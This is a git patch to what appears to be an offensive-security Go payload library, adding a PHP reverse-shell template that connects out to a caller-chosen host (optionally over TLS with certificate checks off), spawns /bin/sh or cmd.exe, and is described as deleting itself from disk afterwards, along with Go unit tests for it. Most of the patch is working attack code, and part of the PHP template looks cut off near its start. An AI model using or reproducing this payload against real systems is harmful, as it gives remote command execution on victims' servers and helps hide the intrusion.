From 53dffe7d50241440dd5a7ecc263a897cdfb9b937 Mon Sep 17 00:00:00 2001 From: terrorbyte Date: Tue, 31 Dec 2024 11:55:03 -0700 Subject: [PATCH] Payload: Adds a self-delete unflattened PHP variant A few times now I've needed the PHP file to self-delete in order to make sure that a file does *not* exist on disk due to potential name collisions. Plus it's probably better to clean up sometimes :) --- payload/reverse/php.go | 88 ++++++++++++++++++++++++++++++++- payload/reverse/reverse_test.go | 18 +++++++ 2 files changed, 105 insertions(+), 1 deletion(-) diff --git a/payload/reverse/php.go b/payload/reverse/php.go index 5990b06..d4cf85a 100644 --- a/payload/reverse/php.go +++ b/payload/reverse/php.go @@ -73,6 +73,81 @@ while(true) { } } +?>` + PHPUnflattenedSelfDelete = ` 0) { + $readAmount = $size %% 1024; + $data = fread($input, $readAmount); + if (fwrite($output, $data)) { + $size -= $readAmount; + } + } +} + +$windows = false; +$prog = "/bin/sh"; +if (strpos(strtolower(PHP_OS), "win") !== false) { + $windows = true; + $prog = "cmd.exe"; +} + +$context = stream_context_create([ + 'ssl' => [ + 'verify_peer' => false, + 'verify_peer_name' => false + ] +]); + +$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); +$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); +stream_set_blocking($stream, 0); +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +while(true) { + if (feof($stream) || feof($pipes[1])) { + break; + } + + $readArray = array($stream, $pipes[1], $pipes[2]); + $empty = null; + $selected = stream_select($readArray, $empty, $empty, null); + + if (in_array($stream, $readArray)) { + dataTransfer($stream, $pipes[0]); + } + if ($windows == false) { + if (in_array($pipes[1], $readArray)) { + dataTransfer($pipes[1], $stream); + } + if (in_array($pipes[2], $readArray)) { + dataTransfer($pipes[2], $stream); + } + } else { + if (fstat($pipes[1])["size"]) { + windowsDataTransfer($pipes[1], $stream); + } + if (fstat($pipes[2])["size"]) { + windowsDataTransfer($pipes[2], $stream); + } + } +} + ?>` ) @@ -89,7 +164,7 @@ func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string { // will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell // should be encrypted or not. // -// reverse.PHP.Unflattened("10.9.49.80", 1270, true). +// reverse.PHP.Unflattened("10.9.49.80", 1270, true). func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string { hostname := fmt.Sprintf("%s:%d", lhost, lport) if encrypted { @@ -98,3 +173,14 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri return fmt.Sprintf(PHPUnflattened, hostname) } + +// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete +// and sets up destructors to delete file on disk when command exits. +func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string { + hostname := fmt.Sprintf("%s:%d", lhost, lport) + if encrypted { + hostname = "tls://" + hostname + } + + return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname) +} diff --git a/payload/reverse/reverse_test.go b/payload/reverse/reverse_test.go index a9a7a9e..12ff121 100644 --- a/payload/reverse/reverse_test.go +++ b/payload/reverse/reverse_test.go @@ -137,6 +137,24 @@ func TestPHPUnflattened(t *testing.T) { } } +func TestPHPUnflattenedSelfDelete(t *testing.T) { + payload := reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, true) + if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) { + t.Fatal(payload) + } + if !strings.Contains(payload, `__destruct`) { + t.Fatal(payload) + } + + payload = reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, false) + if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) { + t.Fatal(payload) + } + if !strings.Contains(payload, `__destruct`) { + t.Fatal(payload) + } +} + func TestGroovyClassic(t *testing.T) { payload := reverse.Groovy.GroovyClassic("127.0.0.2", 9000) expected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` +